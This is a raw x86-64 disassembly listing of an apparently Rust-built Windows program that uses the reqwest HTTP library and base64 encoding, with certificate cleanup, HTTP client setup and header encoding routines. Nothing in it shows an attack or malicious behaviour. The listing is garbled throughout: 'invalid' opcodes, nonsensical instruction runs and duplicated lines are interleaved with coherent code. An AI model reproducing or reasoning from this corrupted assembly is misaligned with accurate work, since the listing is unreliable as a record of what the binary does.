mov qword [rsp + 0x184], rax
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x170], xmm0
movdqu xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x160], xmm0
cmp qword [rsp + 0x30], 0
je 0x140051169
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15, r15
movzx ebx, byte [rsp + 0x47]
je 0x14005118f
xor esi, esi
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax]
mov rcx, qword [r13 + rsi*8]
inc rsi
call rdi
cmp r15, rsi
jne 0x140051180
cmp qword [rsp + 0x108], 0
je 0x1400511ac
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x268], r12
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
pshuflw xmm0, xmm6, 0xc6
packuswb xmm0, xmm0
movd dword [rsp + 0x270], xmm0
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0x274], al
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0x275], al
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x278], xmm0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x288], rax
movaps xmm0, xmmword [rsp + 0x160]
movdqa xmm1, xmmword [rsp + 0x170]
movups xmmword [rsp + 0x29c], xmm0
movdqu xmmword [rsp + 0x2ac], xmm1
movdqu xmm0, xmmword [rsp + 0x17c]
movdqu xmmword [rsp + 0x2b8], xmm0
mov eax, dword [rsp + 0x233]
mov dword [rsp + 0x2d3], eax
movzx eax, byte [rsp + 0x237]
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x298], 0x3b9aca00
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2c8], rax
mov byte [rsp + 0x2d0], 0
mov byte [rsp + 0x2d1], bpl
mov byte [rsp + 0x2d2], bl
mov rcx, qword [rsp + 0x58]
lock dec qword [rcx]
jne 0x1400512bb
mov rdx, qword [rsp + 0x38]
call fcn.140004950
mov rax, qword [r14 + 0xc0]
mov ecx, dword [r14 + 0xc8]
mov qword [rsp + 0x290], rax
mov dword [rsp + 0x298], ecx
movzx eax, byte [r14 + 0x172]
mov byte [rsp + 0x2d0], al
cmp byte [r14 + 0x181], 1
sete bpl
cmp dword [r14 + 0xa8], 0
mov r12d, 0x200000
je 0x14005130a
mov r12d, dword [r14 + 0xac]
cmp dword [r14 + 0xb0], 0
mov ecx, 0x500000
je 0x140051320
mov ecx, dword [r14 + 0xb4]
movzx eax, byte [r14 + 0x17c]
mov byte [rsp + 0x158], al
test al, al
mov eax, 0xffff
cmovne r12d, eax
cmovne ecx, eax
mov dword [rsp + 0x58], ecx
cmp dword [r14 + 0xb8], 0
mov eax, 0x4000
je 0x140051357
mov eax, dword [r14 + 0xbc]
mov dword [rsp + 0xb0], eax
mov eax, dword [r14 + 0x108]
mov dword [rsp + 0x108], eax
mov eax, dword [r14 + 0x118]
mov rbx, r14
xor r14d, r14d
cmp eax, 0x3b9aca00
cmove eax, r14d
mov dword [rsp + 0x100], eax
mov eax, 0x14
cmovne rax, qword [rbx + 0x110]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rbx + 0x100]
mov qword [rsp + 0x1c0], rax
movzx eax, byte [rbx + 0x17d]
mov byte [rsp + 0x1d0], al
mov r13, qword [rbx + 0xd0]
mov eax, dword [rbx + 0xd8]
mov dword [rsp + 0xc8], eax
mov rax, qword [rbx + 0x150]
mov qword [rsp + 0x38], rax
mov rsi, qword [rbx + 0xe0]
mov edi, dword [rbx + 0xe8]
lea rcx, [rsp + 0x278]
call fcn.140051fc0
mov qword [rax + 0x40], rsi
mov dword [rax + 0x48], edi
movzx eax, byte [rbx + 0x177]
mov byte [rsp + 0x2d], al
movzx eax, byte [rbx + 0x178]
mov byte [rsp + 0x2f], al
movzx eax, byte [rbx + 0x179]
mov byte [rsp + 0x150], al
movzx eax, byte [rbx + 0x17a]
mov byte [rsp + 0x2e], al
movzx eax, byte [rbx + 0x17b]
mov byte [rsp + 0xcc], al
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + 0x20]
test rax, rax
je case.0x140051497.4
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
jns 0x140051467
mov rdi, qword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rbx, [rcx + rax*8]
add rbx, rdi
sti
sti
lea r15, [0x140178474]
lea edi, [0x140178474]
pcmpeqd xmm6, xmm6
jbe 0x14005145e
imul bl
and byte [rsi + 0xf], ah
invalid
jmp 0x14005148a
cmp byte [rdi + 0x50], 2
jne case.0x140051497.4
jg 0x1400514c3
add cl, byte [rdi]
test eax, esi
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rdi, 0x88
cmp rdi, rbx
je 0x140051567
test ch, bl
add byte [rax], al
invalid
test ch, bl
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov r14b, 1
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov rsi, qword [rdi + 8]
cmp qword [rsi + 0x28], 0
je case.0x140051497.2
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov r9d, 4
lea r8, [0x140172e43]
call fcn.1400522c0
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov edx, dword [rsi + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
and rax, rdx
movdqu xmm1, xmmword [rcx + rax]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x140051530
pcmpeqb xmm1, xmm6
pmovmskb r9d, xmm1
test r9d, r9d
jne case.0x140051497.2
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x1400514e3
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x1400514fd
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne 0x140051520
add r10, rcx
mov r11, qword [r10 - 0x60]
cmp dword [r11], 0x70747468
je 0x1400515c8
je 0x1400515c8
jne 0x140051520
cmp byte [r10 - 8], 2
je case.0x140051497.2
jmp case.0x140051497.4
xor r14d, r14d
cmp qword [rsp + 0x38], 0
mov byte [rsp + 0x50], bpl
mov dword [rsp + 0x30], r12d
je 0x1400515c3
mov rsi, r13
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
je 0x1400515ca
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa8]
mov r15, qword [rax + 0xb0]
lea r13, [rdi + 1]
jmp 0x140051609
xor ebx, ebx
jmp 0x14005172d
add byte [rax], al
call fcn.14002e060
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa8]
mov r15, qword [rax + 0xb0]
lea r13, [rdi + 1]
mov qword [rax + 0xa8], r13
cmp qword [rax + 0xa0], 0
je 0x140051b62
lea rbp, [r13 + 1]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xa8], rbp
mov qword [rsp + 0x148], r15
mov r12, r15
lea rax, [rbp + 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xa8], rax
movzx eax, byte [0x140182310]
mov edx, 0xd8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051cf9
mov rbx, rax
mov ecx, dword [rsp + 0xc8]
test ecx, ecx
mov eax, 0x3b9aca00
cmovne eax, ecx
test rsi, rsi
cmovne eax, ecx
cmp ecx, 0x3b9aca00
cmove eax, ecx
mov qword [rbx], 1
mov qword [rbx + 8], 1
mov word [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
movdqu xmm0, xmmword [0x14014c800]
movdqu xmmword [rbx + 0x28], xmm0
movdqu xmm1, xmmword [0x14014c810]
movdqu xmmword [rbx + 0x38], xmm1
mov qword [rbx + 0x48], rdi
mov qword [rbx + 0x50], r15
movdqu xmmword [rbx + 0x58], xmm0
movdqu xmmword [rbx + 0x68], xmm1
mov qword [rbx + 0x78], r13
mov rcx, qword [rsp + 0x148]
mov qword [rbx + 0x80], rcx
movdqu xmmword [rbx + 0x88], xmm0
movdqu xmmword [rbx + 0x98], xmm1
mov qword [rbx + 0xa8], rbp
mov qword [rbx + 0xb0], r12
mov rcx, qword [rsp + 0x38]
mov qword [rbx + 0xb8], rcx
mov qword [rbx + 0xc0], 0
mov qword [rbx + 0xc8], rsi
mov dword [rbx + 0xd0], eax
movups xmm0, xmmword [rsp + 0x2c8]
movups xmmword [rsp + 0x350], xmm0
movups xmm0, xmmword [rsp + 0x2b8]
movups xmmword [rsp + 0x340], xmm0
movups xmm0, xmmword [rsp + 0x2a8]
movups xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [rsp + 0x298]
movups xmmword [rsp + 0x320], xmm0
movups xmm0, xmmword [rsp + 0x258]
movups xmm1, xmmword [rsp + 0x268]
movups xmm2, xmmword [rsp + 0x278]
movups xmm3, xmmword [rsp + 0x288]
movups xmmword [rsp + 0x310], xmm3
movups xmmword [rsp + 0x300], xmm2
movups xmmword [rsp + 0x2f0], xmm1
movups xmmword [rsp + 0x2e0], xmm0
mov rsi, qword [rsp + 0xb8]
movzx edi, byte [rsi + 0x174]
mov r15, qword [rsi + 0xf0]
mov r13d, dword [rsi + 0xf8]
movzx ebp, byte [rsi + 0x180]
movzx eax, byte [0x140182310]
mov edx, 0x1c0
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140051cea
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], 0
mov rax, qword [rsp + 0x1c8]
mov qword [r12 + 0x40], rax
mov eax, dword [rsp + 0x100]
mov dword [r12 + 0x48], eax
mov rax, qword [rsp + 0x1c0]
mov qword [r12 + 0x50], rax
mov eax, dword [rsp + 0x108]
mov dword [r12 + 0x58], eax
mov qword [r12 + 0x60], 0x100000
mov eax, dword [rsp + 0x58]
mov dword [r12 + 0x68], eax
mov eax, dword [rsp + 0x30]
mov dword [r12 + 0x6c], eax
mov eax, dword [rsp + 0xb0]
mov dword [r12 + 0x70], eax
movzx eax, byte [rsp + 0x158]
mov byte [r12 + 0x74], al
movzx eax, byte [rsp + 0x1d0]
mov byte [r12 + 0x75], al
mov qword [r12 + 0x78], 0
movzx eax, byte [rsp + 0x2d]
mov byte [r12 + 0x88], al
movzx eax, byte [rsp + 0xcc]
mov byte [r12 + 0x89], al
movzx eax, byte [rsp + 0x150]
mov byte [r12 + 0x8a], al
mov word [r12 + 0x8b], 0
movzx eax, byte [rsp + 0x2e]
mov byte [r12 + 0x8d], al
movzx eax, byte [rsp + 0x2f]
mov byte [r12 + 0x8e], al
mov word [r12 + 0x8f], 0
mov byte [r12 + 0x91], 2
mov rcx, r12
add rcx, 0x92
lea rdx, [rsp + 0x2da]
mov r8d, 0x86
call fcn.140106530
mov qword [r12 + 0x118], rbx
mov word [r12 + 0x120], 0x101
movzx eax, byte [rsp + 0x50]
mov byte [r12 + 0x122], al
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movdqu xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [r12 + 0x128], xmm0
movups xmmword [r12 + 0x138], xmm1
movdqu xmmword [r12 + 0x148], xmm2
movups xmmword [r12 + 0x158], xmm3
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [r12 + 0x168], xmm0
movups xmm0, xmmword [rsi + 0x50]
movups xmmword [r12 + 0x178], xmm0
movdqu xmm0, xmmword [rsi + 0x60]
movdqu xmmword [r12 + 0x188], xmm0
mov rax, qword [rsi + 0x70]
mov qword [r12 + 0x198], rax
mov qword [r12 + 0x1a0], r15
mov dword [r12 + 0x1a8], r13d
mov rax, qword [rsp + 0x60]
mov qword [r12 + 0x1b0], rax
mov byte [r12 + 0x1b8], dil
mov byte [r12 + 0x1b9], r14b
mov byte [r12 + 0x1ba], bpl
mov rdi, qword [rsi + 0x158]
test rdi, rdi
mov r14, rsi
mov r15, qword [rsp + 0x238]
je 0x140051a4d
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x140051a1d
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140051a1d
cmp qword [rsi + 0x10], 0x11
jb 0x140051a0b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x140051a3b
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x48], 0
jne 0x140051a62
mov rcx, qword [rsp + 0x1d8]
call fcn.1400025e0
xor eax, eax
test r15, r15
jne 0x140050fb4
mov rcx, qword [r14 + 0x160]
test rcx, rcx
je 0x140050fb4
xor eax, eax
lock dec qword [rcx]
je 0x140050f9b
jmp 0x140050fb4
ud2
call fcn.14002e060
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0xa8]
mov r12, qword [rax + 0xb0]
lea rbp, [r13 + 1]
cmp qword [rax + 0xa0], 0
mov qword [rax + 0xa8], rbp
mov qword [rsp + 0x148], r12
jne 0x140051632
call fcn.14002e060
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbp, qword [rax + 0xa8]
mov r12, qword [rax + 0xb0]
jmp 0x140051632
lea r8, [0x14013bf10]
call fcn.1401085b0
lea r8, [0x14013bf10]
mov rcx, r9
call fcn.1401085b0
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
mov ecx, 1
mov rdx, r15
call fcn.1401082a0
call fcn.140010970
lea rax, [0x140143518]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x78], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
lea rcx, [rsp + 0x68]
call fcn.140108560
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
mov ecx, 8
mov edx, 0x80
call fcn.1401082c0
mov ecx, 8
mov edx, 0x40
call fcn.1401082c0
mov ecx, 8
mov edx, 8
call fcn.1401082c0
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
mov ecx, 8
mov edx, 0x1c0
call fcn.1401082c0
mov ecx, 8
mov edx, 0xd8
call fcn.1401082c0
lea rcx, str.assertion_failed:_head.len____tail.len_____8
lea r8, [0x14013bf88]
mov edx, 0x2e
call fcn.140108630
lea r8, [0x14013bf40]
mov edx, 8
mov rcx, r13
call fcn.140108620
lea r8, [0x14013bf28]
mov edx, 8
call fcn.140108620
int3
add byte [rax], r8b
inc r14
cmp r14, rsi
je 0x140051ee5
mov rax, r14
shl rax, 7
loopne 0x140051daa
loopne 0x140051daa
lea rax, [rax + r14*8]
lea rbp, [rdi + rax]
mov rax, qword [rdi + rax]
cmp rax, 3
ja case.default.0x140051dc7
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1266c8
lea rcx, [0x140178488]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rbp + 0x50], 2
je 0x140051de2
lea rcx, [rbp + 0x48]
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov r8, qword [rbp + 0x40]
call qword [rax + 0x10]
lea rcx, [rbp + 0x28]
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x58]
cmp rax, r15
je 0x140051d90
mov rdi, rsi
mov rsi, r15
test rax, rax
je 0x140051e19
mov r8, qword [rbp + 0x60]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
mov rbx, qword [rbp + 0x78]
mov r15, qword [rbp + 0x80]
test r15, r15
je 0x140051e60
lea r13, [rbx + 8]
jmp 0x140051e39
add r13, 0x18
dec r15
je 0x140051e60
cmp qword [r13 - 8], 0
je 0x140051e30
mov r8, qword [r13]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
jmp 0x140051e30
nop word cs:[rax + rax]
cmp qword [rbp + 0x70], 0
mov r15, rsi
mov rsi, rdi
mov rdi, qword [rsp + 0x20]
je 0x140051d90
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call r12
jmp 0x140051d90
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
mov rax, qword [rbp + 8]
lock dec qword [rax]
jne 0x140051df5
mov rcx, qword [rbp + 8]
call fcn.1400536e0
jmp 0x140051df5
cmp byte [rbp + 0x38], 2
je 0x140051ec5
lea rcx, [rbp + 0x30]
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
call qword [rax + 0x10]
mov rax, qword [rbp + 8]
lock dec qword [rax]
jne 0x140051df5
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
call fcn.140004950
jmp 0x140051df5
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov rdx, r12
call fcn.1401082a0
mov ecx, 1
mov rdx, r13
call fcn.1401082a0
int3
mov rax, rsi
mov rdx, r9
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
or byte [rax], al
je 0x140057ab1
cmp qword [r12 + 0x10], 0x11
jb 0x140057a9f
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [0x1400e6970]
mov r12, qword [rsp + 0x540]
mov eax, ebp
and eax, 3
cmp eax, 1
jne 0x140057b2f
mov r13, r14
lea r14, [rbp - 1]
mov r15, qword [rbp - 1]
mov rbp, qword [rbp + 7]
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140057b15
cmp qword [rbp + 0x10], 0x11
jb 0x140057b03
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, r13
lea r13, [rsp + 0x38]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], r12
lea rax, [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
mov qword [rsp + 0x40], r14
lea rax, [0x140173648]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], 0
lea rdx, [0x14013f718]
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x60]
call fcn.140013990
mov rcx, qword [rsp + 0x30]
test al, al
je 0x140057bc9
test rcx, rcx
je 0x140057be6
mov r14, rcx
mov eax, r14d
and eax, 3
cmp eax, 1
je 0x140057c4a
jmp 0x140057c92
xor r14d, r14d
mov eax, ecx
and eax, 3
cmp eax, 1
je 0x140057bf7
mov eax, r14d
and eax, 3
cmp eax, 1
je 0x140057c4a
jmp 0x140057c92
lea r14, str.formatter_error
mov eax, ecx
and eax, 3
cmp eax, 1
jne 0x140057bd6
lea rdi, [rcx - 1]
mov rbx, qword [rcx - 1]
mov r15, qword [rcx + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140057c2d
cmp qword [r15 + 0x10], 0x11
jb 0x140057c1b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x140057c92
lea rdi, [r14 - 1]
mov rbx, qword [r14 - 1]
mov r14, qword [r14 + 7]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140057c80
cmp qword [r14 + 0x10], 0x11
jb 0x140057c6e
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xb0]
call fcn.140057de0
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x140057d51
mov r14, qword [rsp + 0x50]
xor eax, eax
jmp 0x140057ccd
cmp cl, 0x7f
je 0x140057cdc
inc rax
cmp rdi, rax
je 0x140057d08
movzx ecx, byte [r14 + rax]
cmp cl, 0x1f
ja 0x140057cc0
cmp cl, 9
je 0x140057cc5
lea rax, [0x140144828]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcutil.rs
lea r9, [0x14013fa48]
lea r8, [rsp + 0xb0]
mov edx, 0x22
call fcn.1401088e0
test rdi, rdi
js 0x140057dc0
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400df910
test rax, rax
je 0x140057dc5
mov rbx, rax
mov rcx, rax
mov rdx, r14
mov r8, rdi
call fcn.140106530
test bl, 1
jne 0x140057d63
mov rax, rbx
or rax, 1
lea rcx, [0x14012a090]
jmp 0x140057d6d
lea rcx, [0x140114ae8]
mov ebx, 1
xor eax, eax
xor edi, edi
jmp 0x140057d6d
lea rcx, [0x14012a0a8]
mov rax, rbx
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rax
mov byte [rsi + 0x20], 1
cmp qword [rsp + 0x48], 0
je 0x140057d9c
invalid
adc al, 0x4c
mov eax, dword [rsp + 0x50]
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x4d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140010970
mov ecx, 1
mov rdx, rdi
call fcn.1401082a0
int3
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rdi + 8]
add rcx, r14
mov rdx, rsi
mov r8, rbx
call fcn.140106530
add r14, rbx
mov qword [rdi + 0x10], r14
mov byte [rsi + 0x423], 0
mov qword [rsi + 0x410], 0
mov r10, qword [rsi + 0x408]
test r10, r10
je 0x140057df2
invalid
dec dword [rcx - 0x7d]
cli
add al, 0xf
and dword [rax + 0x48000001], 0xffffff8b
mov ds, word [rax]
add al, 0
add byte [rbp + rcx*4 - 0x72], cl
and byte [rax + rax], al
add byte [rdi], cl
mov dh, 0x19
cmp r10, 4
jae 0x140058023
mov rcx, qword [rsi + 0x418]
lea r9, [rsi + 0x420]
movzx ebx, byte [rcx]
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rdx
mov rdi, rdx
shr rdi, 1
lea rdx, [rdi + rdi*2]
shl rdi, 2
mov rax, r10
sub rax, rdx
je 0x140057ed7
test bl, bl
je 0x140057f3a
add rdi, 4
mov qword [rsp + 0x20], rdi
mov rdx, r9
mov r8, r10
mov r9, rsi
call fcn.140011430
jmp 0x140057eee
mov qword [rsp + 0x20], rdi
mov rdx, r9
mov r8, r10
mov r9, rsi
call fcn.140011430
test bl, bl
je 0x140057f5d
mov rcx, rdi
sub rcx, rax
ror dword [rdi], 0x82
push rbp
add dword [rax], eax
invalid
ror dword [rdi], 0x82
push rbp
add dword [rax], eax
add byte [rcx - 0x7c25083e], cl
loop 0x140057f04
mov edx, eax
neg edx
and edx, 3
je 0x140057f5d
cmp rdi, rax
cmp edi, eax
je 0x140058000
mov byte [rsi + rax], 0x3d
cmp edx, 1
je 0x140057f5f
cmp rcx, 1
je 0x140058000
mov byte [rsi + rax + 1], 0x3d
cmp edx, 2
je 0x140057f5f
invalid
cmp rcx, 2
je 0x140058000
mov byte [rsi + rax + 2], 0x3d
jmp 0x140057f5f
xor edx, edx
cmp rax, 1
sete dl
xor rdx, 3
or rdi, rdx
mov qword [rsp + 0x20], rdi
mov rdx, r9
mov r8, r10
mov r9, rsi
call fcn.140011430
xor edx, edx
add rax, rdx
jb 0x140058037
mov qword [rsi + 0x410], rdi
test rdi, rdi
je 0x140057fc5
mov rbx, qword [rsi + 0x400]
mov byte [rsi + 0x423], 1
test rbx, rbx
je 0x140058061
mov rax, qword [rbx]
mov r14, qword [rbx + 0x10]
sub rax, r14
cmp rax, rdi
jb 0x140057fec
mov rcx, qword [rbx + 8]
add rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.140106530
add r14, rdi
mov qword [rbx + 0x10], r14
mov byte [rsi + 0x423], 0
mov qword [rsi + 0x410], 0
mov qword [rsi + 0x408], 0
add byte [rax], al
jmp 0x140057df2
call fcn.140108ba0
mov r14, qword [rdi + 0x10]
jmp 0x140057e3e
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140108ba0
mov r14, qword [rbx + 0x10]
jmp 0x140057f9a
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcencode.rs
mov rdx, rcx
call fcn.1401085b0
lea r8, [0x140142390]
mov edx, 0x400
mov rcx, rbx
call fcn.140108620
lea r8, [0x1401423a8]
mov edx, 3
mov rcx, r10
call fcn.140108620
lea rcx, str.usize_overflow_when_calculating_b64_length
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcencode.rs
mov edx, 0x2a
call fcn.140108990
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.21.7_srcencode.rs
mov rcx, rax
mov rdx, rdi
call fcn.1401085a0
lea rcx, [0x1401422f6]
lea r8, [0x140142378]
mov edx, 0x16
call fcn.140108990
int3
nop word cs:[rax + rax]
mov r12, qword [rdi + 0x400]
test r12, r12
je 0x14005842a
mov r13, qword [rdi + 0x410]
test r13, r13
jne case.0x1400d62e6.1664
mov rcx, qword [rdi + 0x408]
test rcx, rcx
je 0x1400581e0
lea rax, [rcx + rbx]
cmp rax, 2
jbe 0x140058210
mov r12d, 3
sub r12, rcx
jb 0x140058492
mov r13, rbx
sub r13, r12
jb 0x140058480
mov rsi, qword [rsp + 0x28]
add rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.140106530
mov rcx, qword [rdi + 0x418]
mov qword [rsp + 0x20], 0x400
mov r8d, 3
mov rdx, rsi
mov r9, rdi
call fcn.140011430
lea r8, [r14 + r12]
mov qword [rdi + 0x408], 0
mov ecx, 0x2fd
mov r15d, 4
jmp 0x140058252
cmp rbx, 3
jae 0x140058241
mov rcx, qword [rsp + 0x28]
mov rdx, r14
mov r8, rbx
call fcn.140106530
mov qword [rdi + 0x408], rbx
mov r13, rbx
jmp 0x140058301
add byte [rax], al
add byte [rax], al
cmp rcx, 2
ja 0x140058419
movzx eax, byte [r14]
mov byte [rdi + rcx + 0x420], al
mov rax, qword [rdi + 0x408]
inc rax
mov r13d, 1
mov qword [rdi + 0x408], rax
jmp 0x140058301
mov ecx, 0x300
xor r15d, r15d
mov r13, rbx
mov r8, r14
xor r12d, r12d
mov rax, r13
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
lea r13, [rdx + rdx*2]
cmp r13, rcx
jb 0x140058271
mov r13, rcx
mov rcx, qword [rdi + 0x418]
mov eax, 0x400
sub rax, r15
lea r9, [rdi + r15]
mov qword [rsp + 0x20], rax
mov rdx, r8
mov r8, r13
call fcn.140011430
mov byte [rdi + 0x423], 1
mov rsi, qword [rdi + 0x400]
test rsi, rsi
je 0x140058454
mov rbp, rax
add rbp, r15
cmp rbp, 0x401
jae 0x14005846c
mov rax, qword [rsi]
mov r15, qword [rsi + 0x10]
sub rax, r15
cmp rax, rbp
jb 0x140058318
